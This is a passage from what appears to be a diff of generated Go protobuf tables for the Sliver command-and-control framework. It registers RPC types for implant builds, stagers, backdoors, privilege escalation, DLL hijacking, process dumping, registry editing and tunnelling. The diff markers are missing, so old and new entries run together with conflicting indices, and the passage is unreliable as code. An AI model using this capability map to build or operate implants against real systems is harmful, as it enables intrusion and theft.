0x28, 0x01, 0x30, 0x01, 0x12, 0x2c, 0x0a, 0x06, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x0f,
0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a,
0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74,
0x30, 0x01, 0x42, 0x2c, 0x5a, 0x2a, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d,
0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65,
0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x72, 0x70, 0x63, 0x70, 0x62,
0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33,
}
var file_rpcpb_services_proto_goTypes = []interface{}{
@@ -532,105 +520,101 @@ var file_rpcpb_services_proto_goTypes = []interface{}{
(*sliverpb.RegistryReadReq)(nil), // 61: sliverpb.RegistryReadReq
(*sliverpb.RegistryWriteReq)(nil), // 62: sliverpb.RegistryWriteReq
(*sliverpb.RegistryCreateKeyReq)(nil), // 63: sliverpb.RegistryCreateKeyReq
(*sliverpb.RegistryDeleteKeyReq)(nil), // 64: sliverpb.RegistryDeleteKeyReq
(*sliverpb.RegistrySubKeyListReq)(nil), // 65: sliverpb.RegistrySubKeyListReq
(*sliverpb.RegistryListValuesReq)(nil), // 66: sliverpb.RegistryListValuesReq
(*sliverpb.SSHCommandReq)(nil), // 67: sliverpb.SSHCommandReq
(*clientpb.DllHijackReq)(nil), // 68: clientpb.DllHijackReq
(*sliverpb.GetPrivsReq)(nil), // 69: sliverpb.GetPrivsReq
(*sliverpb.OpenSession)(nil), // 70: sliverpb.OpenSession
(*sliverpb.CloseSession)(nil), // 71: sliverpb.CloseSession
(*sliverpb.RegisterExtensionReq)(nil), // 72: sliverpb.RegisterExtensionReq
(*sliverpb.CallExtensionReq)(nil), // 73: sliverpb.CallExtensionReq
(*sliverpb.ListExtensionsReq)(nil), // 74: sliverpb.ListExtensionsReq
(*sliverpb.WGPortForwardStartReq)(nil), // 75: sliverpb.WGPortForwardStartReq
(*sliverpb.WGPortForwardStopReq)(nil), // 76: sliverpb.WGPortForwardStopReq
(*sliverpb.WGSocksStartReq)(nil), // 77: sliverpb.WGSocksStartReq
(*sliverpb.WGSocksStopReq)(nil), // 78: sliverpb.WGSocksStopReq
(*sliverpb.WGTCPForwardersReq)(nil), // 79: sliverpb.WGTCPForwardersReq
(*sliverpb.WGSocksServersReq)(nil), // 80: sliverpb.WGSocksServersReq
(*sliverpb.ShellReq)(nil), // 81: sliverpb.ShellReq
(*sliverpb.PortfwdReq)(nil), // 82: sliverpb.PortfwdReq
(*sliverpb.Socks)(nil), // 83: sliverpb.Socks
(*sliverpb.SocksData)(nil), // 84: sliverpb.SocksData
(*sliverpb.Tunnel)(nil), // 85: sliverpb.Tunnel
(*sliverpb.TunnelData)(nil), // 86: sliverpb.TunnelData
(*clientpb.Version)(nil), // 87: clientpb.Version
(*clientpb.Operators)(nil), // 88: clientpb.Operators
(*clientpb.Sessions)(nil), // 89: clientpb.Sessions
(*clientpb.Session)(nil), // 90: clientpb.Session
(*clientpb.Beacons)(nil), // 91: clientpb.Beacons
(*clientpb.BeaconTasks)(nil), // 92: clientpb.BeaconTasks
(*commonpb.Response)(nil), // 93: commonpb.Response
(*clientpb.Jobs)(nil), // 94: clientpb.Jobs
(*clientpb.KillJob)(nil), // 95: clientpb.KillJob
(*clientpb.MTLSListener)(nil), // 96: clientpb.MTLSListener
(*clientpb.WGListener)(nil), // 97: clientpb.WGListener
(*clientpb.DNSListener)(nil), // 98: clientpb.DNSListener
(*clientpb.HTTPListener)(nil), // 99: clientpb.HTTPListener
(*clientpb.StagerListener)(nil), // 100: clientpb.StagerListener
(*clientpb.AllLoot)(nil), // 101: clientpb.AllLoot
(*clientpb.AllHosts)(nil), // 102: clientpb.AllHosts
(*clientpb.Generate)(nil), // 103: clientpb.Generate
(*clientpb.ImplantBuilds)(nil), // 104: clientpb.ImplantBuilds
(*clientpb.Canaries)(nil), // 105: clientpb.Canaries
(*clientpb.WGClientConfig)(nil), // 106: clientpb.WGClientConfig
(*clientpb.UniqueWGIP)(nil), // 107: clientpb.UniqueWGIP
(*clientpb.ImplantProfiles)(nil), // 108: clientpb.ImplantProfiles
(*clientpb.MsfStager)(nil), // 109: clientpb.MsfStager
(*clientpb.ShellcodeRDI)(nil), // 110: clientpb.ShellcodeRDI
(*clientpb.Compiler)(nil), // 111: clientpb.Compiler
(*clientpb.Websites)(nil), // 112: clientpb.Websites
(*sliverpb.Ps)(nil), // 113: sliverpb.Ps
(*sliverpb.Terminate)(nil), // 114: sliverpb.Terminate
(*sliverpb.Ifconfig)(nil), // 115: sliverpb.Ifconfig
(*sliverpb.Netstat)(nil), // 116: sliverpb.Netstat
(*sliverpb.Ls)(nil), // 117: sliverpb.Ls
(*sliverpb.Pwd)(nil), // 118: sliverpb.Pwd
(*sliverpb.Rm)(nil), // 119: sliverpb.Rm
(*sliverpb.Mkdir)(nil), // 120: sliverpb.Mkdir
(*sliverpb.Download)(nil), // 121: sliverpb.Download
(*sliverpb.Upload)(nil), // 122: sliverpb.Upload
(*sliverpb.ProcessDump)(nil), // 123: sliverpb.ProcessDump
(*sliverpb.RunAs)(nil), // 124: sliverpb.RunAs
(*sliverpb.Impersonate)(nil), // 125: sliverpb.Impersonate
(*sliverpb.RevToSelf)(nil), // 126: sliverpb.RevToSelf
(*sliverpb.GetSystem)(nil), // 127: sliverpb.GetSystem
(*sliverpb.Task)(nil), // 128: sliverpb.Task
(*sliverpb.ExecuteAssembly)(nil), // 129: sliverpb.ExecuteAssembly
(*sliverpb.Migrate)(nil), // 130: sliverpb.Migrate
(*sliverpb.Execute)(nil), // 131: sliverpb.Execute
(*sliverpb.Sideload)(nil), // 132: sliverpb.Sideload
(*sliverpb.SpawnDll)(nil), // 133: sliverpb.SpawnDll
(*sliverpb.Screenshot)(nil), // 134: sliverpb.Screenshot
(*sliverpb.PivotListener)(nil), // 135: sliverpb.PivotListener
(*sliverpb.PivotListeners)(nil), // 136: sliverpb.PivotListeners
(*clientpb.PivotGraph)(nil), // 137: clientpb.PivotGraph
(*sliverpb.ServiceInfo)(nil), // 138: sliverpb.ServiceInfo
(*sliverpb.MakeToken)(nil), // 139: sliverpb.MakeToken
(*sliverpb.EnvInfo)(nil), // 140: sliverpb.EnvInfo
(*sliverpb.SetEnv)(nil), // 141: sliverpb.SetEnv
(*sliverpb.UnsetEnv)(nil), // 142: sliverpb.UnsetEnv
(*sliverpb.Backdoor)(nil), // 143: sliverpb.Backdoor
(*sliverpb.RegistryRead)(nil), // 144: sliverpb.RegistryRead
(*sliverpb.RegistryWrite)(nil), // 145: sliverpb.RegistryWrite
(*sliverpb.RegistryCreateKey)(nil), // 146: sliverpb.RegistryCreateKey
(*sliverpb.RegistryDeleteKey)(nil), // 147: sliverpb.RegistryDeleteKey
(*sliverpb.RegistrySubKeyList)(nil), // 148: sliverpb.RegistrySubKeyList
(*sliverpb.RegistryValuesList)(nil), // 149: sliverpb.RegistryValuesList
(*sliverpb.SSHCommand)(nil), // 150: sliverpb.SSHCommand
(*clientpb.DllHijack)(nil), // 151: clientpb.DllHijack
(*sliverpb.GetPrivs)(nil), // 152: sliverpb.GetPrivs
(*sliverpb.RegisterExtension)(nil), // 153: sliverpb.RegisterExtension
(*sliverpb.CallExtension)(nil), // 154: sliverpb.CallExtension
(*sliverpb.ListExtensions)(nil), // 155: sliverpb.ListExtensions
(*sliverpb.WGPortForward)(nil), // 156: sliverpb.WGPortForward
(*sliverpb.WGSocks)(nil), // 157: sliverpb.WGSocks
(*sliverpb.WGTCPForwarders)(nil), // 158: sliverpb.WGTCPForwarders
(*sliverpb.WGSocksServers)(nil), // 159: sliverpb.WGSocksServers
(*sliverpb.Shell)(nil), // 160: sliverpb.Shell
(*sliverpb.Portfwd)(nil), // 161: sliverpb.Portfwd
(*clientpb.Event)(nil), // 162: clientpb.Event
(*sliverpb.RegistrySubKeyListReq)(nil), // 64: sliverpb.RegistrySubKeyListReq
(*sliverpb.RegistryListValuesReq)(nil), // 65: sliverpb.RegistryListValuesReq
(*sliverpb.SSHCommandReq)(nil), // 66: sliverpb.SSHCommandReq
(*clientpb.DllHijackReq)(nil), // 67: clientpb.DllHijackReq
(*sliverpb.GetPrivsReq)(nil), // 68: sliverpb.GetPrivsReq
(*sliverpb.OpenSession)(nil), // 69: sliverpb.OpenSession
(*sliverpb.RegisterExtensionReq)(nil), // 70: sliverpb.RegisterExtensionReq
(*sliverpb.CallExtensionReq)(nil), // 71: sliverpb.CallExtensionReq
(*sliverpb.ListExtensionsReq)(nil), // 72: sliverpb.ListExtensionsReq
(*sliverpb.WGPortForwardStartReq)(nil), // 73: sliverpb.WGPortForwardStartReq
(*sliverpb.WGPortForwardStopReq)(nil), // 74: sliverpb.WGPortForwardStopReq
(*sliverpb.WGSocksStartReq)(nil), // 75: sliverpb.WGSocksStartReq
(*sliverpb.WGSocksStopReq)(nil), // 76: sliverpb.WGSocksStopReq
(*sliverpb.WGTCPForwardersReq)(nil), // 77: sliverpb.WGTCPForwardersReq
(*sliverpb.WGSocksServersReq)(nil), // 78: sliverpb.WGSocksServersReq
(*sliverpb.ShellReq)(nil), // 79: sliverpb.ShellReq
(*sliverpb.PortfwdReq)(nil), // 80: sliverpb.PortfwdReq
(*sliverpb.Socks)(nil), // 81: sliverpb.Socks
(*sliverpb.SocksData)(nil), // 82: sliverpb.SocksData
(*sliverpb.Tunnel)(nil), // 83: sliverpb.Tunnel
(*sliverpb.TunnelData)(nil), // 84: sliverpb.TunnelData
(*clientpb.Version)(nil), // 85: clientpb.Version
(*clientpb.Operators)(nil), // 86: clientpb.Operators
(*clientpb.Sessions)(nil), // 87: clientpb.Sessions
(*clientpb.Session)(nil), // 88: clientpb.Session
(*clientpb.Beacons)(nil), // 89: clientpb.Beacons
(*clientpb.BeaconTasks)(nil), // 90: clientpb.BeaconTasks
(*commonpb.Response)(nil), // 91: commonpb.Response
(*clientpb.Jobs)(nil), // 92: clientpb.Jobs
(*clientpb.KillJob)(nil), // 93: clientpb.KillJob
(*clientpb.MTLSListener)(nil), // 94: clientpb.MTLSListener
(*clientpb.WGListener)(nil), // 95: clientpb.WGListener
(*clientpb.DNSListener)(nil), // 96: clientpb.DNSListener
(*clientpb.HTTPListener)(nil), // 97: clientpb.HTTPListener
(*clientpb.StagerListener)(nil), // 98: clientpb.StagerListener
(*clientpb.AllLoot)(nil), // 99: clientpb.AllLoot
(*clientpb.AllHosts)(nil), // 100: clientpb.AllHosts
(*clientpb.Generate)(nil), // 101: clientpb.Generate
(*clientpb.ImplantBuilds)(nil), // 102: clientpb.ImplantBuilds
(*clientpb.Canaries)(nil), // 103: clientpb.Canaries
(*clientpb.WGClientConfig)(nil), // 104: clientpb.WGClientConfig
(*clientpb.UniqueWGIP)(nil), // 105: clientpb.UniqueWGIP
(*clientpb.ImplantProfiles)(nil), // 106: clientpb.ImplantProfiles
(*clientpb.MsfStager)(nil), // 107: clientpb.MsfStager
(*clientpb.ShellcodeRDI)(nil), // 108: clientpb.ShellcodeRDI
(*clientpb.Compiler)(nil), // 109: clientpb.Compiler
(*clientpb.Websites)(nil), // 110: clientpb.Websites
(*sliverpb.Ps)(nil), // 111: sliverpb.Ps
(*sliverpb.Terminate)(nil), // 112: sliverpb.Terminate
(*sliverpb.Ifconfig)(nil), // 113: sliverpb.Ifconfig
(*sliverpb.Netstat)(nil), // 114: sliverpb.Netstat
(*sliverpb.Ls)(nil), // 115: sliverpb.Ls
(*sliverpb.Pwd)(nil), // 116: sliverpb.Pwd
(*sliverpb.Rm)(nil), // 117: sliverpb.Rm
(*sliverpb.Mkdir)(nil), // 118: sliverpb.Mkdir
(*sliverpb.Download)(nil), // 119: sliverpb.Download
(*sliverpb.Upload)(nil), // 120: sliverpb.Upload
(*sliverpb.ProcessDump)(nil), // 121: sliverpb.ProcessDump
(*sliverpb.RunAs)(nil), // 122: sliverpb.RunAs
(*sliverpb.Impersonate)(nil), // 123: sliverpb.Impersonate
(*sliverpb.RevToSelf)(nil), // 124: sliverpb.RevToSelf
(*sliverpb.GetSystem)(nil), // 125: sliverpb.GetSystem
(*sliverpb.Task)(nil), // 126: sliverpb.Task
(*sliverpb.ExecuteAssembly)(nil), // 127: sliverpb.ExecuteAssembly
(*sliverpb.Migrate)(nil), // 128: sliverpb.Migrate
(*sliverpb.Execute)(nil), // 129: sliverpb.Execute
(*sliverpb.Sideload)(nil), // 130: sliverpb.Sideload
(*sliverpb.SpawnDll)(nil), // 131: sliverpb.SpawnDll
(*sliverpb.Screenshot)(nil), // 132: sliverpb.Screenshot
(*sliverpb.PivotListener)(nil), // 133: sliverpb.PivotListener
(*sliverpb.PivotListeners)(nil), // 134: sliverpb.PivotListeners
(*sliverpb.ServiceInfo)(nil), // 135: sliverpb.ServiceInfo
(*sliverpb.MakeToken)(nil), // 136: sliverpb.MakeToken
(*sliverpb.EnvInfo)(nil), // 137: sliverpb.EnvInfo
(*sliverpb.SetEnv)(nil), // 138: sliverpb.SetEnv
(*sliverpb.UnsetEnv)(nil), // 139: sliverpb.UnsetEnv
(*sliverpb.Backdoor)(nil), // 140: sliverpb.Backdoor
(*sliverpb.RegistryRead)(nil), // 141: sliverpb.RegistryRead
(*sliverpb.RegistryWrite)(nil), // 142: sliverpb.RegistryWrite
(*sliverpb.RegistryCreateKey)(nil), // 143: sliverpb.RegistryCreateKey
(*sliverpb.RegistrySubKeyList)(nil), // 144: sliverpb.RegistrySubKeyList
(*sliverpb.RegistryValuesList)(nil), // 145: sliverpb.RegistryValuesList
(*sliverpb.SSHCommand)(nil), // 146: sliverpb.SSHCommand
(*clientpb.DllHijack)(nil), // 147: clientpb.DllHijack
(*sliverpb.GetPrivs)(nil), // 148: sliverpb.GetPrivs
(*sliverpb.RegisterExtension)(nil), // 149: sliverpb.RegisterExtension
(*sliverpb.CallExtension)(nil), // 150: sliverpb.CallExtension
(*sliverpb.ListExtensions)(nil), // 151: sliverpb.ListExtensions
(*sliverpb.WGPortForward)(nil), // 152: sliverpb.WGPortForward
(*sliverpb.WGSocks)(nil), // 153: sliverpb.WGSocks
(*sliverpb.WGTCPForwarders)(nil), // 154: sliverpb.WGTCPForwarders
(*sliverpb.WGSocksServers)(nil), // 155: sliverpb.WGSocksServers
(*sliverpb.Shell)(nil), // 156: sliverpb.Shell
(*sliverpb.Portfwd)(nil), // 157: sliverpb.Portfwd
(*clientpb.Event)(nil), // 158: clientpb.Event
}
var file_rpcpb_services_proto_depIdxs = []int32{
0, // 0: rpcpb.SliverRPC.GetVersion:input_type -> commonpb.Empty
@@ -712,165 +696,159 @@ var file_rpcpb_services_proto_depIdxs = []int32{
49, // 76: rpcpb.SliverRPC.Screenshot:input_type -> sliverpb.ScreenshotReq
50, // 77: rpcpb.SliverRPC.PivotStartListener:input_type -> sliverpb.PivotStartListenerReq
51, // 78: rpcpb.SliverRPC.PivotStopListener:input_type -> sliverpb.PivotStopListenerReq
52, // 79: rpcpb.SliverRPC.PivotSessionListeners:input_type -> sliverpb.PivotListenersReq
0, // 80: rpcpb.SliverRPC.PivotGraph:input_type -> commonpb.Empty
53, // 81: rpcpb.SliverRPC.StartService:input_type -> sliverpb.StartServiceReq
54, // 82: rpcpb.SliverRPC.StopService:input_type -> sliverpb.StopServiceReq
55, // 83: rpcpb.SliverRPC.RemoveService:input_type -> sliverpb.RemoveServiceReq
56, // 84: rpcpb.SliverRPC.MakeToken:input_type -> sliverpb.MakeTokenReq
57, // 85: rpcpb.SliverRPC.GetEnv:input_type -> sliverpb.EnvReq
58, // 86: rpcpb.SliverRPC.SetEnv:input_type -> sliverpb.SetEnvReq
59, // 87: rpcpb.SliverRPC.UnsetEnv:input_type -> sliverpb.UnsetEnvReq
60, // 88: rpcpb.SliverRPC.Backdoor:input_type -> sliverpb.BackdoorReq
61, // 89: rpcpb.SliverRPC.RegistryRead:input_type -> sliverpb.RegistryReadReq
62, // 90: rpcpb.SliverRPC.RegistryWrite:input_type -> sliverpb.RegistryWriteReq
63, // 91: rpcpb.SliverRPC.RegistryCreateKey:input_type -> sliverpb.RegistryCreateKeyReq
64, // 92: rpcpb.SliverRPC.RegistryDeleteKey:input_type -> sliverpb.RegistryDeleteKeyReq
65, // 93: rpcpb.SliverRPC.RegistryListSubKeys:input_type -> sliverpb.RegistrySubKeyListReq
66, // 94: rpcpb.SliverRPC.RegistryListValues:input_type -> sliverpb.RegistryListValuesReq
67, // 95: rpcpb.SliverRPC.RunSSHCommand:input_type -> sliverpb.SSHCommandReq
68, // 96: rpcpb.SliverRPC.HijackDLL:input_type -> clientpb.DllHijackReq
69, // 97: rpcpb.SliverRPC.GetPrivs:input_type -> sliverpb.GetPrivsReq
70, // 98: rpcpb.SliverRPC.OpenSession:input_type -> sliverpb.OpenSession
71, // 99: rpcpb.SliverRPC.CloseSession:input_type -> sliverpb.CloseSession
72, // 100: rpcpb.SliverRPC.RegisterExtension:input_type -> sliverpb.RegisterExtensionReq
73, // 101: rpcpb.SliverRPC.CallExtension:input_type -> sliverpb.CallExtensionReq
74, // 102: rpcpb.SliverRPC.ListExtensions:input_type -> sliverpb.ListExtensionsReq
75, // 103: rpcpb.SliverRPC.WGStartPortForward:input_type -> sliverpb.WGPortForwardStartReq
76, // 104: rpcpb.SliverRPC.WGStopPortForward:input_type -> sliverpb.WGPortForwardStopReq
77, // 105: rpcpb.SliverRPC.WGStartSocks:input_type -> sliverpb.WGSocksStartReq
78, // 106: rpcpb.SliverRPC.WGStopSocks:input_type -> sliverpb.WGSocksStopReq
79, // 107: rpcpb.SliverRPC.WGListForwarders:input_type -> sliverpb.WGTCPForwardersReq
80, // 108: rpcpb.SliverRPC.WGListSocksServers:input_type -> sliverpb.WGSocksServersReq
81, // 109: rpcpb.SliverRPC.Shell:input_type -> sliverpb.ShellReq
82, // 110: rpcpb.SliverRPC.Portfwd:input_type -> sliverpb.PortfwdReq
83, // 111: rpcpb.SliverRPC.CreateSocks:input_type -> sliverpb.Socks
83, // 112: rpcpb.SliverRPC.CloseSocks:input_type -> sliverpb.Socks
84, // 113: rpcpb.SliverRPC.SocksProxy:input_type -> sliverpb.SocksData
85, // 114: rpcpb.SliverRPC.CreateTunnel:input_type -> sliverpb.Tunnel
85, // 115: rpcpb.SliverRPC.CloseTunnel:input_type -> sliverpb.Tunnel
86, // 116: rpcpb.SliverRPC.TunnelData:input_type -> sliverpb.TunnelData
0, // 117: rpcpb.SliverRPC.Events:input_type -> commonpb.Empty
87, // 118: rpcpb.SliverRPC.GetVersion:output_type -> clientpb.Version
88, // 119: rpcpb.SliverRPC.GetOperators:output_type -> clientpb.Operators
0, // 120: rpcpb.SliverRPC.Kill:output_type -> commonpb.Empty
89, // 121: rpcpb.SliverRPC.GetSessions:output_type -> clientpb.Sessions
90, // 122: rpcpb.SliverRPC.UpdateSession:output_type -> clientpb.Session
91, // 123: rpcpb.SliverRPC.GetBeacons:output_type -> clientpb.Beacons
3, // 124: rpcpb.SliverRPC.GetBeacon:output_type -> clientpb.Beacon
0, // 125: rpcpb.SliverRPC.RmBeacon:output_type -> commonpb.Empty
92, // 126: rpcpb.SliverRPC.GetBeaconTasks:output_type -> clientpb.BeaconTasks
4, // 127: rpcpb.SliverRPC.GetBeaconTaskContent:output_type -> clientpb.BeaconTask
93, // 128: rpcpb.SliverRPC.MonitorStart:output_type -> commonpb.Response
0, // 129: rpcpb.SliverRPC.MonitorStop:output_type -> commonpb.Empty
94, // 130: rpcpb.SliverRPC.GetJobs:output_type -> clientpb.Jobs
95, // 131: rpcpb.SliverRPC.KillJob:output_type -> clientpb.KillJob
96, // 132: rpcpb.SliverRPC.StartMTLSListener:output_type -> clientpb.MTLSListener
97, // 133: rpcpb.SliverRPC.StartWGListener:output_type -> clientpb.WGListener
98, // 134: rpcpb.SliverRPC.StartDNSListener:output_type -> clientpb.DNSListener
99, // 135: rpcpb.SliverRPC.StartHTTPSListener:output_type -> clientpb.HTTPListener
99, // 136: rpcpb.SliverRPC.StartHTTPListener:output_type -> clientpb.HTTPListener
100, // 137: rpcpb.SliverRPC.StartTCPStagerListener:output_type -> clientpb.StagerListener
100, // 138: rpcpb.SliverRPC.StartHTTPStagerListener:output_type -> clientpb.StagerListener
11, // 139: rpcpb.SliverRPC.LootAdd:output_type -> clientpb.Loot
0, // 140: rpcpb.SliverRPC.LootRm:output_type -> commonpb.Empty
11, // 141: rpcpb.SliverRPC.LootUpdate:output_type -> clientpb.Loot
11, // 142: rpcpb.SliverRPC.LootContent:output_type -> clientpb.Loot
101, // 143: rpcpb.SliverRPC.LootAll:output_type -> clientpb.AllLoot
101, // 144: rpcpb.SliverRPC.LootAllOf:output_type -> clientpb.AllLoot
102, // 145: rpcpb.SliverRPC.Hosts:output_type -> clientpb.AllHosts
12, // 146: rpcpb.SliverRPC.Host:output_type -> clientpb.Host
0, // 147: rpcpb.SliverRPC.HostRm:output_type -> commonpb.Empty
0, // 148: rpcpb.SliverRPC.HostIOCRm:output_type -> commonpb.Empty
103, // 149: rpcpb.SliverRPC.Generate:output_type -> clientpb.Generate
103, // 150: rpcpb.SliverRPC.Regenerate:output_type -> clientpb.Generate
104, // 151: rpcpb.SliverRPC.ImplantBuilds:output_type -> clientpb.ImplantBuilds
0, // 152: rpcpb.SliverRPC.DeleteImplantBuild:output_type -> commonpb.Empty
105, // 153: rpcpb.SliverRPC.Canaries:output_type -> clientpb.Canaries
106, // 154: rpcpb.SliverRPC.GenerateWGClientConfig:output_type -> clientpb.WGClientConfig
107, // 155: rpcpb.SliverRPC.GenerateUniqueIP:output_type -> clientpb.UniqueWGIP
108, // 156: rpcpb.SliverRPC.ImplantProfiles:output_type -> clientpb.ImplantProfiles
0, // 157: rpcpb.SliverRPC.DeleteImplantProfile:output_type -> commonpb.Empty
17, // 158: rpcpb.SliverRPC.SaveImplantProfile:output_type -> clientpb.ImplantProfile
109, // 159: rpcpb.SliverRPC.MsfStage:output_type -> clientpb.MsfStager
110, // 160: rpcpb.SliverRPC.ShellcodeRDI:output_type -> clientpb.ShellcodeRDI
111, // 161: rpcpb.SliverRPC.GetCompiler:output_type -> clientpb.Compiler
112, // 162: rpcpb.SliverRPC.Websites:output_type -> clientpb.Websites
20, // 163: rpcpb.SliverRPC.Website:output_type -> clientpb.Website
0, // 164: rpcpb.SliverRPC.WebsiteRemove:output_type -> commonpb.Empty
20, // 165: rpcpb.SliverRPC.WebsiteAddContent:output_type -> clientpb.Website
20, // 166: rpcpb.SliverRPC.WebsiteUpdateContent:output_type -> clientpb.Website
20, // 167: rpcpb.SliverRPC.WebsiteRemoveContent:output_type -> clientpb.Website
23, // 168: rpcpb.SliverRPC.Ping:output_type -> sliverpb.Ping
113, // 169: rpcpb.SliverRPC.Ps:output_type -> sliverpb.Ps
114, // 170: rpcpb.SliverRPC.Terminate:output_type -> sliverpb.Terminate
115, // 171: rpcpb.SliverRPC.Ifconfig:output_type -> sliverpb.Ifconfig
116, // 172: rpcpb.SliverRPC.Netstat:output_type -> sliverpb.Netstat
117, // 173: rpcpb.SliverRPC.Ls:output_type -> sliverpb.Ls
118, // 174: rpcpb.SliverRPC.Cd:output_type -> sliverpb.Pwd
118, // 175: rpcpb.SliverRPC.Pwd:output_type -> sliverpb.Pwd
119, // 176: rpcpb.SliverRPC.Rm:output_type -> sliverpb.Rm
120, // 177: rpcpb.SliverRPC.Mkdir:output_type -> sliverpb.Mkdir
121, // 178: rpcpb.SliverRPC.Download:output_type -> sliverpb.Download
122, // 179: rpcpb.SliverRPC.Upload:output_type -> sliverpb.Upload
123, // 180: rpcpb.SliverRPC.ProcessDump:output_type -> sliverpb.ProcessDump
124, // 181: rpcpb.SliverRPC.RunAs:output_type -> sliverpb.RunAs
125, // 182: rpcpb.SliverRPC.Impersonate:output_type -> sliverpb.Impersonate
126, // 183: rpcpb.SliverRPC.RevToSelf:output_type -> sliverpb.RevToSelf
127, // 184: rpcpb.SliverRPC.GetSystem:output_type -> sliverpb.GetSystem
128, // 185: rpcpb.SliverRPC.Task:output_type -> sliverpb.Task
128, // 186: rpcpb.SliverRPC.Msf:output_type -> sliverpb.Task
128, // 187: rpcpb.SliverRPC.MsfRemote:output_type -> sliverpb.Task
129, // 188: rpcpb.SliverRPC.ExecuteAssembly:output_type -> sliverpb.ExecuteAssembly
130, // 189: rpcpb.SliverRPC.Migrate:output_type -> sliverpb.Migrate
131, // 190: rpcpb.SliverRPC.Execute:output_type -> sliverpb.Execute
131, // 191: rpcpb.SliverRPC.ExecuteToken:output_type -> sliverpb.Execute
132, // 192: rpcpb.SliverRPC.Sideload:output_type -> sliverpb.Sideload
133, // 193: rpcpb.SliverRPC.SpawnDll:output_type -> sliverpb.SpawnDll
134, // 194: rpcpb.SliverRPC.Screenshot:output_type -> sliverpb.Screenshot
135, // 195: rpcpb.SliverRPC.PivotStartListener:output_type -> sliverpb.PivotListener
0, // 196: rpcpb.SliverRPC.PivotStopListener:output_type -> commonpb.Empty
136, // 197: rpcpb.SliverRPC.PivotSessionListeners:output_type -> sliverpb.PivotListeners
137, // 198: rpcpb.SliverRPC.PivotGraph:output_type -> clientpb.PivotGraph
138, // 199: rpcpb.SliverRPC.StartService:output_type -> sliverpb.ServiceInfo
138, // 200: rpcpb.SliverRPC.StopService:output_type -> sliverpb.ServiceInfo
138, // 201: rpcpb.SliverRPC.RemoveService:output_type -> sliverpb.ServiceInfo
139, // 202: rpcpb.SliverRPC.MakeToken:output_type -> sliverpb.MakeToken
140, // 203: rpcpb.SliverRPC.GetEnv:output_type -> sliverpb.EnvInfo
141, // 204: rpcpb.SliverRPC.SetEnv:output_type -> sliverpb.SetEnv
142, // 205: rpcpb.SliverRPC.UnsetEnv:output_type -> sliverpb.UnsetEnv
143, // 206: rpcpb.SliverRPC.Backdoor:output_type -> sliverpb.Backdoor
144, // 207: rpcpb.SliverRPC.RegistryRead:output_type -> sliverpb.RegistryRead
145, // 208: rpcpb.SliverRPC.RegistryWrite:output_type -> sliverpb.RegistryWrite
146, // 209: rpcpb.SliverRPC.RegistryCreateKey:output_type -> sliverpb.RegistryCreateKey
147, // 210: rpcpb.SliverRPC.RegistryDeleteKey:output_type -> sliverpb.RegistryDeleteKey
148, // 211: rpcpb.SliverRPC.RegistryListSubKeys:output_type -> sliverpb.RegistrySubKeyList
149, // 212: rpcpb.SliverRPC.RegistryListValues:output_type -> sliverpb.RegistryValuesList
150, // 213: rpcpb.SliverRPC.RunSSHCommand:output_type -> sliverpb.SSHCommand
151, // 214: rpcpb.SliverRPC.HijackDLL:output_type -> clientpb.DllHijack
152, // 215: rpcpb.SliverRPC.GetPrivs:output_type -> sliverpb.GetPrivs
70, // 216: rpcpb.SliverRPC.OpenSession:output_type -> sliverpb.OpenSession
0, // 217: rpcpb.SliverRPC.CloseSession:output_type -> commonpb.Empty
153, // 218: rpcpb.SliverRPC.RegisterExtension:output_type -> sliverpb.RegisterExtension
154, // 219: rpcpb.SliverRPC.CallExtension:output_type -> sliverpb.CallExtension
155, // 220: rpcpb.SliverRPC.ListExtensions:output_type -> sliverpb.ListExtensions
156, // 221: rpcpb.SliverRPC.WGStartPortForward:output_type -> sliverpb.WGPortForward
156, // 222: rpcpb.SliverRPC.WGStopPortForward:output_type -> sliverpb.WGPortForward
157, // 223: rpcpb.SliverRPC.WGStartSocks:output_type -> sliverpb.WGSocks
157, // 224: rpcpb.SliverRPC.WGStopSocks:output_type -> sliverpb.WGSocks
158, // 225: rpcpb.SliverRPC.WGListForwarders:output_type -> sliverpb.WGTCPForwarders
159, // 226: rpcpb.SliverRPC.WGListSocksServers:output_type -> sliverpb.WGSocksServers
160, // 227: rpcpb.SliverRPC.Shell:output_type -> sliverpb.Shell
161, // 228: rpcpb.SliverRPC.Portfwd:output_type -> sliverpb.Portfwd
83, // 229: rpcpb.SliverRPC.CreateSocks:output_type -> sliverpb.Socks
0, // 230: rpcpb.SliverRPC.CloseSocks:output_type -> commonpb.Empty
84, // 231: rpcpb.SliverRPC.SocksProxy:output_type -> sliverpb.SocksData
85, // 232: rpcpb.SliverRPC.CreateTunnel:output_type -> sliverpb.Tunnel
0, // 233: rpcpb.SliverRPC.CloseTunnel:output_type -> commonpb.Empty
86, // 234: rpcpb.SliverRPC.TunnelData:output_type -> sliverpb.TunnelData
162, // 235: rpcpb.SliverRPC.Events:output_type -> clientpb.Event
118, // [118:236] is the sub-list for method output_type
0, // [0:118] is the sub-list for method input_type
52, // 79: rpcpb.SliverRPC.PivotListeners:input_type -> sliverpb.PivotListenersReq
53, // 80: rpcpb.SliverRPC.StartService:input_type -> sliverpb.StartServiceReq
54, // 81: rpcpb.SliverRPC.StopService:input_type -> sliverpb.StopServiceReq
55, // 82: rpcpb.SliverRPC.RemoveService:input_type -> sliverpb.RemoveServiceReq
56, // 83: rpcpb.SliverRPC.MakeToken:input_type -> sliverpb.MakeTokenReq
57, // 84: rpcpb.SliverRPC.GetEnv:input_type -> sliverpb.EnvReq
58, // 85: rpcpb.SliverRPC.SetEnv:input_type -> sliverpb.SetEnvReq
59, // 86: rpcpb.SliverRPC.UnsetEnv:input_type -> sliverpb.UnsetEnvReq
60, // 87: rpcpb.SliverRPC.Backdoor:input_type -> sliverpb.BackdoorReq
